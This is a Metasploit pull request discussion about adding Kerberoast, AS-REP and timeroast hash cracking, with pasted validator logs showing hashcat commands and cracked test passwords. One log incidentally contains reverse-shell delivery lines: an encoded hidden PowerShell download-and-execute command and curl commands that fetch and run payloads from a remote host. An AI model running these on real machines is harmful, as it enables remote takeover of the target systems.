Add Kerberos type hashes to cracking by h00die · Pull Request #20881 · rapid7/metasploit-framework

h00die · 2026-01-18T01:09:53Z

fixes #20871
fixes #20872

This PR adds support for timeroasting, krb5tgs* and krb5asrep hashes with cracking.

To Do List

JtR

timeroasting validator test 3,14 (Timeroast Cracking Support #20872)
krb5tgs validator test 3,14 (Kerberoast Improvements #20871)
krb5tgs-aes128 validator test 3,14 (Kerberoast Improvements #20871)
krb5tgs-aes256 validator test 3,14 (Kerberoast Improvements #20871)
krb5asrep (Kerberoast Improvements #20871)

hashcat

timeroasting validator test 8,19 (Timeroast Cracking Support #20872)
krb5tgs validator test 8,19 (Kerberoast Improvements #20871)
krb5tgs-aes128 validator test 8,19 (Kerberoast Improvements #20871)
krb5tgs-aes256 validator test 8,19 (Kerberoast Improvements #20871)
krb5asrep validator test 8,19 (Kerberoast Improvements #20871)

Testing

tools/dev/hash_cracker_validator.rb -t 3,8,14,19 is successful

h00die · 2026-01-18T01:12:07Z

Use crack_windows in hashcat mode:

[+] Cracked Hashes
==============

 DB ID  Hash Type       Username        Cracked Password  Method
 -----  ---------       --------        ----------------  ------
 121    krb5tgs-rc4     krb5tgs-rc4     Password1!        Already Cracked/POT
 122    krb5tgs-aes128  krb5tgs-aes128  hashcat           Already Cracked/POT
 123    krb5tgs-aes256  krb5tgs-aes256  hashcat           Already Cracked/POT
 124    krb5asrep-rc4   krb5asrep-rc4   hashcat           Already Cracked/POT
 125    timeroast       timeroast       hashcat           Already Cracked/POT

sjanusz-r7 · 2026-01-22T15:21:16Z

                nil
-              when /^krb5$/
-                return "#{cred.id}:#{cred.private.data}"
+              # when /^krb5$/


Are we concerned about the exact krb5 string not being matched against any cred private type anymore? e.g. would we miss any matches and fall through? /^(krb5.|timeroast$)/ matches different values than /^krb5$/.

h00die · 2026-01-25T16:33:23Z

#20897 is a prerequisite as I pulled out a bunch of the john fixes to make this easier to look at.

jheysel-r7 · 2026-04-13T21:23:24Z

Hey @h00die - is this ready to be undrafted? I spun up an environment and it looks like it's able to crack these new hash types but is running into an issue attempting to delete a tmp file.

MSF_DATABASE_CONFIG=/usr/share/metasploit-framework/config/database.yml tools/dev/hash_cracker_validator.rb -t 8,19

...

[+] Cracked Hashes
==============

 DB ID  Hash Type       Username         Cracked Password  Method
 -----  ---------       --------         ----------------  ------
 160    nt              nt_password      password          Wordlist
 161    netntlm         u4-netntlm       hashcat           Wordlist
 162    netntlmv2       admin            hashcat           Wordlist
 163    mscash          mscash-test1     test1             Wordlist
 164    mscash2         mscash2-hashcat  hashcat           Wordlist
 165    krb5asrep       krb5asrep        hashcat           Wordlist
 167    krb5tgs         krb5tgs          Password1!        Wordlist
 168    krb5tgs-aes128  krb5tgs-aes128   hashcat           Wordlist
 169    krb5tgs-aes256  krb5tgs-aes256   hashcat           Wordlist
 170    timeroast       timeroast        hashcat           Wordlist

[-] Auxiliary failed: Errno::ENOENT No such file or directory @ apply2files - /tmp/hashes_lm_20260413-121829-44a0oy
[-] Call stack:
[-]   /home/msfuser/git/metasploit-framework/modules/auxiliary/analyze/crack_windows.rb:324:in `delete'
[-]   /home/msfuser/git/metasploit-framework/modules/auxiliary/analyze/crack_windows.rb:324:in `block in run'
[-]   /home/msfuser/git/metasploit-framework/modules/auxiliary/analyze/crack_windows.rb:323:in `each'
[-]   /home/msfuser/git/metasploit-framework/modules/auxiliary/analyze/crack_windows.rb:323:in `run'
[*] Auxiliary module execution completed

sjanusz-r7 · 2026-04-16T17:43:11Z

I've been poking at the issue behind the credentials not storing the cracked password correctly. I did poke at some AI overlords to see how well it'd go, and what they came up with is here: https://github.com/sjanusz-r7/metasploit-framework/tree/fix-kerberos-creds-cracking
Related metasploit-credential gem change: https://github.com/sjanusz-r7/metasploit-credential/tree/username-credential-lookup
It's related to deduplicating on some of the provided fields, where in this case, the username was blank, so only the first kerberos hash was being given the metasploit credential object due to 'first_or_create!'.

TLDR; nothing actionable from you, and I will need to get back to this tomorrow. I just wanted to give you an update that we are looking into the issue to unblock the PR you've been working on, thanks!

h00die · 2026-04-16T17:46:47Z

Appreciate the cycles to look into it!

h00die · 2026-05-08T10:30:25Z

gave this a rebase since its rather old. rapid7/metasploit-credential#199 is a pre-req, and looks to fix the problem for me!

h00die · 2026-05-24T21:30:14Z

Getting back around to this, here's where we're at.

Test 3 (pass)

Click to expand

$ tools/dev/hash_cracker_validator.rb -t 3        
[WARNING] WARNING: All credentials will be deleted as part of this script execution!
[INFO] Wordlist file created at: /tmp/wordlist20260524-944530-xoivxu
[INFO] Pot file created at: /tmp/john_pot20260524-944530-55b2x8
[INFO] [3/24] Running windows hashes in john wordlist mode...
[GOOD]   SUCCESS: All expected outputs found.
[GOOD]   Section Runtime: 29.316576271 seconds
-------------------------------
[GOOD] All checks passed successfully!
[INFO] Script runtime: 29.318437626 seconds

Test 8 (likely pass)

Please note for whatever reason my system is angry:

[*] error: /root/.cache/pocl/kcache/tempfile_3UuJpA.cl:122:43: passing '__local u32 (*)[64]' (aka '__local unsigned int (*)[64]') to parameter of type '__constant u32 (*)[64]' (aka '__constant unsigned int (*)[64]') changes address space of pointer
[*] error: /root/.cache/pocl/kcache/tempfile_3UuJpA.cl:131:46: passing '__local u32 (*)[64]' (aka '__local unsigned int (*)[64]') to parameter of type '__constant u32 (*)[64]' (aka '__constant unsigned int (*)[64]') changes address space of pointer
[*] error: /root/.cache/pocl/kcache/tempfile_3UuJpA.cl:222:43: passing '__local u32 (*)[64]' (aka '__local unsigned int (*)[64]') to parameter of type '__constant u32 (*)[64]' (aka '__constant unsigned int (*)[64]') changes address space of pointer
[*] error: /root/.cache/pocl/kcache/tempfile_3UuJpA.cl:231:46: passing '__local u32 (*)[64]' (aka '__local unsigned int (*)[64]') to parameter of type '__constant u32 (*)[64]' (aka '__constant unsigned int (*)[64]') changes address space of pointer

Click to expand

$ tools/dev/hash_cracker_validator.rb -t 8
[WARNING] WARNING: All credentials will be deleted as part of this script execution!
[INFO] Wordlist file created at: /tmp/wordlist20260524-947659-yx7g21
[INFO] Pot file created at: /tmp/john_pot20260524-947659-kdwh0y
[INFO] [8/24] Running windows hashes in hashcat wordlist mode...
[ERROR]   FAILURE: Expected output not found for regex: /lm_password\s+e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c\s+NTLM hash\s+nt,lm\s+PASSWORD$/i
[ERROR]   STDOUT: [*] Processing /root/.msf4/msfconsole.rc for ERB directives.
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
lhost => 1.1.1.1
resource (/root/.msf4/msfconsole.rc)> setg payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload windows/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set target 2
target => 2
resource (/root/.msf4/msfconsole.rc)> set srvport 8085
srvport => 8085
resource (/root/.msf4/msfconsole.rc)> set uripath w2
uripath => w2
resource (/root/.msf4/msfconsole.rc)> set payload payload/windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4449
lport => 4449
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
resource (/root/.msf4/msfconsole.rc)> use payload/cmd/windows/http/x64/shell/reverse_tcp
[*] Started reverse TCP handler on 1.1.1.1:4449 
[*] Using configured payload windows/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set fetch_command CURL
fetch_command => CURL
resource (/root/.msf4/msfconsole.rc)> set fetch_pipe true
fetch_pipe => true
resource (/root/.msf4/msfconsole.rc)> set lport 4451
[*] Using URL: http://1.1.1.1:8085/w2
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABwADQATQB3AD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAHAANABNAHcALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABwADQATQB3AC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIALgAyADIAOAA6ADgAMAA4ADUALwB3ADIALwBEAEQASQBPAG8ANgBQAEQAJwApACkAOwBJAEUAWAAgACgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMgAyADgAOgA4ADAAOAA1AC8AdwAyACcAKQApADsA
lport => 4451
resource (/root/.msf4/msfconsole.rc)> set FETCH_URIPATH w4
FETCH_URIPATH => w4
resource (/root/.msf4/msfconsole.rc)> set FETCH_FILENAME shellmkaKJBzbDshell
FETCH_FILENAME => shellmkaKJBzbDshell
resource (/root/.msf4/msfconsole.rc)> to_handler
[*] Command served: curl -so %TEMP%\shellmkaKJBzbDshell.exe http://1.1.1.1:8080/CxTLd9T7KbcvE-LdiYdrhg & start /B %TEMP%\shellmkaKJBzbDshell.exe

[*] Command to run on remote host: curl -s http://1.1.1.1:8080/w4|cmd
[*] Payload Handler Started as Job 1
INCREMENTAL => false
[*] Fetch handler listening on 1.1.1.1:8080
[*] HTTP server started
[*] Adding resource /CxTLd9T7KbcvE-LdiYdrhg
[*] Adding resource /w4
[*] Started reverse TCP handler on 1.1.1.1:4451 
USE_CREDS => false
USE_DB_INFO => false
USE_DEFAULT_WORDLIST => false
USE_HOSTNAMES => false
USE_ROOT_WORDS => false
WORDLIST => true
verbose => true
[*] Using configured payload windows/meterpreter/reverse_tcp
[*] Setting default action auto - view all 3 actions with the show actions command
CUSTOM_WORDLIST => /tmp/wordlist20260524-947659-yx7g21
POT => /tmp/john_pot20260524-947659-diendb
action => hashcat
[+] hashcat Version Detected: v7.1.2
[*] Wordlist file written out to /tmp/jtrtmp20260524-947665-qoegx6
[*] Checking lm hashes already cracked...
[*] Cracking lm hashes in wordlist mode...
[*]    Cracking Command: /usr/bin/hashcat --session=C46TQWIH --logfile-disable --quiet --username --potfile-path=/tmp/john_pot20260524-947659-diendb --hash-type=3000 -O --attack-mode=0 /tmp/hashes_lm_20260524-947665-rd17cr /tmp/jtrtmp20260524-947665-qoegx6
[*] error: /root/.cache/pocl/kcache/tempfile_3UuJpA.cl:122:43: passing '__local u32 (*)[64]' (aka '__local unsigned int (*)[64]') to parameter of type '__constant u32 (*)[64]' (aka '__constant unsigned int (*)[64]') changes address space of pointer
[*] error: /root/.cache/pocl/kcache/tempfile_3UuJpA.cl:131:46: passing '__local u32 (*)[64]' (aka '__local unsigned int (*)[64]') to parameter of type '__constant u32 (*)[64]' (aka '__constant unsigned int (*)[64]') changes address space of pointer
[*] error: /root/.cache/pocl/kcache/tempfile_3UuJpA.cl:222:43: passing '__local u32 (*)[64]' (aka '__local unsigned int (*)[64]') to parameter of type '__constant u32 (*)[64]' (aka '__constant unsigned int (*)[64]') changes address space of pointer
[*] error: /root/.cache/pocl/kcache/tempfile_3UuJpA.cl:231:46: passing '__local u32 (*)[64]' (aka '__local unsigned int (*)[64]') to parameter of type '__constant u32 (*)[64]' (aka '__constant unsigned int (*)[64]') changes address space of pointer
[*] Device cpu-ivybridge-Intel(R) Xeon(R) CPU E5-2650 v2 @ 2.60GHz failed to build the program
[*] 
[+] Cracked Hashes
==============

 DB ID  Hash Type  Username  Cracked Password  Method
 -----  ---------  --------  ----------------  ------

[*] Checking nt hashes already cracked...
[*] Cracking nt hashes in wordlist mode...
[*]    Cracking Command: /usr/bin/hashcat --session=SEG2ULmA --logfile-disable --quiet --username --potfile-path=/tmp/john_pot20260524-947659-diendb --hash-type=1000 -O --attack-mode=0 /tmp/hashes_nt_20260524-947665-w1glw0 /tmp/jtrtmp20260524-947665-qoegx6
[*] 8846f7eaee8fb117ad06bdd830b7586c:password
XXX check_results function prior to process_crack_results: {"hash_type"=>"nt", "method"=>"Wordlist", "core_id"=>"1839", "hash"=>"8846f7eaee8fb117ad06bdd830b7586c", "password"=>"password", "username"=>"nt_password"}
[+] Cracked Hashes
==============

 DB ID  Hash Type  Username     Cracked Password  Method
 -----  ---------  --------     ----------------  ------
 1839   nt         nt_password  password          Wordlist

[*] Checking mscash hashes already cracked...
[+] Cracked Hashes
==============

 DB ID  Hash Type  Username     Cracked Password  Method
 -----  ---------  --------     ----------------  ------
 1839   nt         nt_password  password          Wordlist

[*] Cracking mscash hashes in wordlist mode...
[*]    Cracking Command: /usr/bin/hashcat --session=ZqW06TxW --logfile-disable --quiet --username --potfile-path=/tmp/john_pot20260524-947659-diendb --hash-type=1100 -O --attack-mode=0 /tmp/hashes_mscash_20260524-947665-pnijk /tmp/jtrtmp20260524-947665-qoegx6
[*] 64cd29e36a8431a2b111378564a10631:test1:test1
XXX check_results function prior to process_crack_results: {"hash_type"=>"mscash", "method"=>"Wordlist", "core_id"=>"1842", "hash"=>"64cd29e36a8431a2b111378564a10631", "password"=>"test1", "username"=>"mscash-test1"}
[+] Cracked Hashes
==============

 DB ID  Hash Type  Username      Cracked Password  Method
 -----  ---------  --------      ----------------  ------
 1839   nt         nt_password   password          Wordlist
 1842   mscash     mscash-test1  test1             Wordlist

[*] Checking mscash2 hashes already cracked...
[+] Cracked Hashes
==============

 DB ID  Hash Type  Username      Cracked Password  Method
 -----  ---------  --------      ----------------  ------
 1839   nt         nt_password   password          Wordlist
 1842   mscash     mscash-test1  test1             Wordlist

[*] Cracking mscash2 hashes in wordlist mode...
[*]    Cracking Command: /usr/bin/hashcat --session=dEWjqs67 --logfile-disable --quiet --username --potfile-path=/tmp/john_pot20260524-947659-diendb --hash-type=2100 -O --attack-mode=0 /tmp/hashes_mscash2_20260524-947665-o3qy6z /tmp/jtrtmp20260524-947665-qoegx6
[*] $DCC2$10240#tom#e4e938d12fe5974dc42a90120bd9c90f:hashcat
XXX check_results function prior to process_crack_results: {"hash_type"=>"mscash2", "method"=>"Wordlist", "core_id"=>"1843", "hash"=>"$DCC2$10240#tom#e4e938d12fe5974dc42a90120bd9c90f", "password"=>"hashcat", "username"=>"mscash2-hashcat"}
[+] Cracked Hashes
==============

 DB ID  Hash Type  Username         Cracked Password  Method
 -----  ---------  --------         ----------------  ------
 1839   nt         nt_password      password          Wordlist
 1842   mscash     mscash-test1     test1             Wordlist
 1843   mscash2    mscash2-hashcat  hashcat           Wordlist

[*] Checking netntlm hashes already cracked...
[+] Cracked Hashes
==============

 DB ID  Hash Type  Username         Cracked Password  Method
 -----  ---------  --------         ----------------  ------
 1839   nt         nt_password      password          Wordlist
 1842   mscash     mscash-test1     test1             Wordlist
 1843   mscash2    mscash2-hashcat  hashcat           Wordlist

[*] Cracking netntlm hashes in wordlist mode...
[*]    Cracking Command: /usr/bin/hashcat --session=wUB0tZ3h --logfile-disable --quiet --username --potfile-path=/tmp/john_pot20260524-947659-diendb --hash-type=5500 -O --attack-mode=0 /tmp/hashes_netntlm_20260524-947665-s16up2 /tmp/jtrtmp20260524-947665-qoegx6
[*] u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c:hashcat
XXX check_results function prior to process_crack_results: {"hash_type"=>"netntlm", "method"=>"Wordlist", "core_id"=>"1840", "password"=>"hashcat", "username"=>"u4-netntlm"}
[+] Cracked Hashes
==============

 DB ID  Hash Type  Username         Cracked Password  Method
 -----  ---------  --------         ----------------  ------
 1839   nt         nt_password      password          Wordlist
 1840   netntlm    u4-netntlm       hashcat           Wordlist
 1842   mscash     mscash-test1     test1             Wordlist
 1843   mscash2    mscash2-hashcat  hashcat           Wordlist

[*] Checking netntlmv2 hashes already cracked...
[+] Cracked Hashes
==============

 DB ID  Hash Type  Username         Cracked Password  Method
 -----  ---------  --------         ----------------  ------
 1839   nt         nt_password      password          Wordlist
 1840   netntlm    u4-netntlm       hashcat           Wordlist
 1842   mscash     mscash-test1     test1             Wordlist
 1843   mscash2    mscash2-hashcat  hashcat           Wordlist

[*] Cracking netntlmv2 hashes in wordlist mode...
[*]    Cracking Command: /usr/bin/hashcat --session=n1orVP6J --logfile-disable --quiet --username --potfile-path=/tmp/john_pot20260524-947659-diendb --hash-type=5600 -O --attack-mode=0 /tmp/hashes_netntlmv2_20260524-947665-su3l95 /tmp/jtrtmp20260524-947665-qoegx6
[*] ADMIN::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030:hashcat
XXX check_results function prior to process_crack_results: {"hash_type"=>"netntlmv2", "method"=>"Wordlist", "core_id"=>"1841", "password"=>"hashcat", "username"=>"admin"}
[+] Cracked Hashes
==============

 DB ID  Hash Type  Username         Cracked Password  Method
 -----  ---------  --------         ----------------  ------
 1839   nt         nt_password      password          Wordlist
 1840   netntlm    u4-netntlm       hashcat           Wordlist
 1841   netntlmv2  admin            hashcat           Wordlist
 1842   mscash     mscash-test1     test1             Wordlist
 1843   mscash2    mscash2-hashcat  hashcat           Wordlist

[*] Checking krb5tgs hashes already cracked...
[+] Cracked Hashes
==============

 DB ID  Hash Type  Username         Cracked Password  Method
 -----  ---------  --------         ----------------  ------
 1839   nt         nt_password      password          Wordlist
 1840   netntlm    u4-netntlm       hashcat           Wordlist
 1841   netntlmv2  admin            hashcat           Wordlist
 1842   mscash     mscash-test1     test1             Wordlist
 1843   mscash2    mscash2-hashcat  hashcat           Wordlist

[*] Cracking krb5tgs hashes in wordlist mode...
[*]    Cracking Command: /usr/bin/hashcat --session=p5AZCrcG --logfile-disable --quiet --username --potfile-path=/tmp/john_pot20260524-947659-diendb --hash-type=13100 -O --attack-mode=0 /tmp/hashes_krb5tgs_20260524-947665-a57rhe /tmp/jtrtmp20260524-947665-qoegx6
[*] $krb5tgs$23$*user$realm$test/spn*$63386d22d359fe42230300d56852c9eb$891ad31d09ab89c6b3b8c5e5de6c06a7f49fd559d7a9a3c32576c8fedf705376cea582ab5938f7fc8bc741acf05c5990741b36ef4311fe3562a41b70a4ec6ecba849905f2385bb3799d92499909658c7287c49160276bca0006c350b0db4fd387adc27c01e9e9ad0c20ed53a7e6356dee2452e35eca2a6a1d1432796fc5c19d068978df74d3d0baf35c77de12456bf1144b6a750d11f55805f5a16ece2975246e2d026dce997fba34ac8757312e9e4e6272de35e20d52fb668c5ed:hashcat
XXX check_results function prior to process_crack_results: {"hash_type"=>"krb5tgs", "method"=>"Wordlist", "core_id"=>"1845", "hash"=>"$krb5tgs$23$*user$realm$test/spn*$63386d22d359fe42230300d56852c9eb$891ad31d09ab89c6b3b8c5e5de6c06a7f49fd559d7a9a3c32576c8fedf705376cea582ab5938f7fc8bc741acf05c5990741b36ef4311fe3562a41b70a4ec6ecba849905f2385bb3799d92499909658c7287c49160276bca0006c350b0db4fd387adc27c01e9e9ad0c20ed53a7e6356dee2452e35eca2a6a1d1432796fc5c19d068978df74d3d0baf35c77de12456bf1144b6a750d11f55805f5a16ece2975246e2d026dce997fba34ac8757312e9e4e6272de35e20d52fb668c5ed", "password"=>"hashcat", "username"=>"krb5tgs"}
[+] Cracked Hashes
==============

 DB ID  Hash Type  Username         Cracked Password  Method
 -----  ---------  --------         ----------------  ------
 1839   nt         nt_password      password          Wordlist
 1840   netntlm    u4-netntlm       hashcat           Wordlist
 1841   netntlmv2  admin            hashcat           Wordlist
 1842   mscash     mscash-test1     test1             Wordlist
 1843   mscash2    mscash2-hashcat  hashcat           Wordlist
 1845   krb5tgs    krb5tgs          hashcat           Wordlist

[*] Checking krb5tgs-aes128 hashes already cracked...
[+] Cracked Hashes
==============

 DB ID  Hash Type  Username         Cracked Password  Method
 -----  ---------  --------         ----------------  ------
 1839   nt         nt_password      password          Wordlist
 1840   netntlm    u4-netntlm       hashcat           Wordlist
 1841   netntlmv2  admin            hashcat           Wordlist
 1842   mscash     mscash-test1     test1             Wordlist
 1843   mscash2    mscash2-hashcat  hashcat           Wordlist
 1845   krb5tgs    krb5tgs          hashcat           Wordlist

[*] Cracking krb5tgs-aes128 hashes in wordlist mode...
[*]    Cracking Command: /usr/bin/hashcat --session=eQhDtPWn --logfile-disable --quiet --username --potfile-path=/tmp/john_pot20260524-947659-diendb --hash-type=19600 -O --attack-mode=0 /tmp/hashes_krb5tgs-aes128_20260524-947665-1w24fc /tmp/jtrtmp20260524-947665-qoegx6
[*] $krb5tgs$17$user$realm$ae8434177efd09be5bc2eff8$90b4ce5b266821adc26c64f71958a475cf9348fce65096190be04f8430c4e0d554c86dd7ad29c275f9e8f15d2dab4565a3d6e21e449dc2f88e52ea0402c7170ba74f4af037c5d7f8db6d53018a564ab590fc23aa1134788bcc4a55f69ec13c0a083291a96b41bffb978f5a160b7edc828382d11aacd89b5a1bfa710b0e591b190bff9062eace4d26187777db358e70efd26df9c9312dbeef20b1ee0d823d4e71b8f1d00d91ea017459c27c32dc20e451ea6278be63cdd512ce656357c942b95438228e:hashcat
XXX check_results function prior to process_crack_results: {"hash_type"=>"krb5tgs-aes128", "method"=>"Wordlist", "core_id"=>"1846", "hash"=>"$krb5tgs$17$user$realm$ae8434177efd09be5bc2eff8$90b4ce5b266821adc26c64f71958a475cf9348fce65096190be04f8430c4e0d554c86dd7ad29c275f9e8f15d2dab4565a3d6e21e449dc2f88e52ea0402c7170ba74f4af037c5d7f8db6d53018a564ab590fc23aa1134788bcc4a55f69ec13c0a083291a96b41bffb978f5a160b7edc828382d11aacd89b5a1bfa710b0e591b190bff9062eace4d26187777db358e70efd26df9c9312dbeef20b1ee0d823d4e71b8f1d00d91ea017459c27c32dc20e451ea6278be63cdd512ce656357c942b95438228e", "password"=>"hashcat", "username"=>"krb5tgs-aes128"}
[+] Cracked Hashes
==============

 DB ID  Hash Type       Username         Cracked Password  Method
 -----  ---------       --------         ----------------  ------
 1839   nt              nt_password      password          Wordlist
 1840   netntlm         u4-netntlm       hashcat           Wordlist
 1841   netntlmv2       admin            hashcat           Wordlist
 1842   mscash          mscash-test1     test1             Wordlist
 1843   mscash2         mscash2-hashcat  hashcat           Wordlist
 1845   krb5tgs         krb5tgs          hashcat           Wordlist
 1846   krb5tgs-aes128  krb5tgs-aes128   hashcat           Wordlist

[*] Checking krb5tgs-aes256 hashes already cracked...
[+] Cracked Hashes
==============

 DB ID  Hash Type       Username         Cracked Password  Method
 -----  ---------       --------         ----------------  ------
 1839   nt              nt_password      password          Wordlist
 1840   netntlm         u4-netntlm       hashcat           Wordlist
 1841   netntlmv2       admin            hashcat           Wordlist
 1842   mscash          mscash-test1     test1             Wordlist
 1843   mscash2         mscash2-hashcat  hashcat           Wordlist
 1845   krb5tgs         krb5tgs          hashcat           Wordlist
 1846   krb5tgs-aes128  krb5tgs-aes128   hashcat           Wordlist

[*] Cracking krb5tgs-aes256 hashes in wordlist mode...
[*]    Cracking Command: /usr/bin/hashcat --session=ZkLhGtVC --logfile-disable --quiet --username --potfile-path=/tmp/john_pot20260524-947659-diendb --hash-type=19700 -O --attack-mode=0 /tmp/hashes_krb5tgs-aes256_20260524-947665-7620xi /tmp/jtrtmp20260524-947665-qoegx6
[*] $krb5tgs$18$user$realm$8efd91bb01cc69dd07e46009$7352410d6aafd72c64972a66058b02aa1c28ac580ba41137d5a170467f06f17faf5dfb3f95ecf4fad74821fdc7e63a3195573f45f962f86942cb24255e544ad8d05178d560f683a3f59ce94e82c8e724a3af0160be549b472dd83e6b80733ad349973885e9082617294c6cbbea92349671883eaf068d7f5dcfc0405d97fda27435082b82b24f3be27f06c19354bf32066933312c770424eb6143674756243c1bde78ee3294792dcc49008a1b54f32ec5d5695f899946d42a67ce2fb1c227cb1d2004c0:hashcat
XXX check_results function prior to process_crack_results: {"hash_type"=>"krb5tgs-aes256", "method"=>"Wordlist", "core_id"=>"1847", "hash"=>"$krb5tgs$18$user$realm$8efd91bb01cc69dd07e46009$7352410d6aafd72c64972a66058b02aa1c28ac580ba41137d5a170467f06f17faf5dfb3f95ecf4fad74821fdc7e63a3195573f45f962f86942cb24255e544ad8d05178d560f683a3f59ce94e82c8e724a3af0160be549b472dd83e6b80733ad349973885e9082617294c6cbbea92349671883eaf068d7f5dcfc0405d97fda27435082b82b24f3be27f06c19354bf32066933312c770424eb6143674756243c1bde78ee3294792dcc49008a1b54f32ec5d5695f899946d42a67ce2fb1c227cb1d2004c0", "password"=>"hashcat", "username"=>"krb5tgs-aes256"}
[+] Cracked Hashes
==============

 DB ID  Hash Type       Username         Cracked Password  Method
 -----  ---------       --------         ----------------  ------
 1839   nt              nt_password      password          Wordlist
 1840   netntlm         u4-netntlm       hashcat           Wordlist
 1841   netntlmv2       admin            hashcat           Wordlist
 1842   mscash          mscash-test1     test1             Wordlist
 1843   mscash2         mscash2-hashcat  hashcat           Wordlist
 1845   krb5tgs         krb5tgs          hashcat           Wordlist
 1846   krb5tgs-aes128  krb5tgs-aes128   hashcat           Wordlist
 1847   krb5tgs-aes256  krb5tgs-aes256   hashcat           Wordlist

[*] Checking krb5asrep hashes already cracked...
[+] Cracked Hashes
==============

 DB ID  Hash Type       Username         Cracked Password  Method
 -----  ---------       --------         ----------------  ------
 1839   nt              nt_password      password          Wordlist
 1840   netntlm         u4-netntlm       hashcat           Wordlist
 1841   netntlmv2       admin            hashcat           Wordlist
 1842   mscash          mscash-test1     test1             Wordlist
 1843   mscash2         mscash2-hashcat  hashcat           Wordlist
 1845   krb5tgs         krb5tgs          hashcat           Wordlist
 1846   krb5tgs-aes128  krb5tgs-aes128   hashcat           Wordlist
 1847   krb5tgs-aes256  krb5tgs-aes256   hashcat           Wordlist

[*] Cracking krb5asrep hashes in wordlist mode...
[*]    Cracking Command: /usr/bin/hashcat --session=ksEibHZP --logfile-disable --quiet --username --potfile-path=/tmp/john_pot20260524-947659-diendb --hash-type=18200 -O --attack-mode=0 /tmp/hashes_krb5asrep_20260524-947665-2c7udl /tmp/jtrtmp20260524-947665-qoegx6
[*] $krb5asrep$23$user@domain.com:3e156ada591263b8aab0965f5aebd837$007497cb51b6c8116d6407a782ea0e1c5402b17db7afa6b05a6d30ed164a9933c754d720e279c6c573679bd27128fe77e5fea1f72334c1193c8ff0b370fadc6368bf2d49bbfdba4c5dccab95e8c8ebfdc75f438a0797dbfb2f8a1a5f4c423f9bfc1fea483342a11bd56a216f4d5158ccc4b224b52894fadfba3957dfe4b6b8f5f9f9fe422811a314768673e0c924340b8ccb84775ce9defaa3baa0910b676ad0036d13032b0dd94e3b13903cc738a7b6d00b0b3c210d1f972a6c7cae9bd3c959acf7565be528fc179118f28c679f6deeee1456f0781eb8154e18e49cb27b64bf74cd7112a0ebae2102ac:hashcat
XXX check_results function prior to process_crack_results: {"hash_type"=>"krb5asrep", "method"=>"Wordlist", "core_id"=>"1844", "password"=>"hashcat", "username"=>"krb5asrep"}
[+] Cracked Hashes
==============

 DB ID  Hash Type       Username         Cracked Password  Method
 -----  ---------       --------         ----------------  ------
 1839   nt              nt_password      password          Wordlist
 1840   netntlm         u4-netntlm       hashcat           Wordlist
 1841   netntlmv2       admin            hashcat           Wordlist
 1842   mscash          mscash-test1     test1             Wordlist
 1843   mscash2         mscash2-hashcat  hashcat           Wordlist
 1844   krb5asrep       krb5asrep        hashcat           Wordlist
 1845   krb5tgs         krb5tgs          hashcat           Wordlist
 1846   krb5tgs-aes128  krb5tgs-aes128   hashcat           Wordlist
 1847   krb5tgs-aes256  krb5tgs-aes256   hashcat           Wordlist

[*] Checking timeroast hashes already cracked...
[+] Cracked Hashes
==============

 DB ID  Hash Type       Username         Cracked Password  Method
 -----  ---------       --------         ----------------  ------
 1839   nt              nt_password      password          Wordlist
 1840   netntlm         u4-netntlm       hashcat           Wordlist
 1841   netntlmv2       admin            hashcat           Wordlist
 1842   mscash          mscash-test1     test1             Wordlist
 1843   mscash2         mscash2-hashcat  hashcat           Wordlist
 1844   krb5asrep       krb5asrep        hashcat           Wordlist
 1845   krb5tgs         krb5tgs          hashcat           Wordlist
 1846   krb5tgs-aes128  krb5tgs-aes128   hashcat           Wordlist
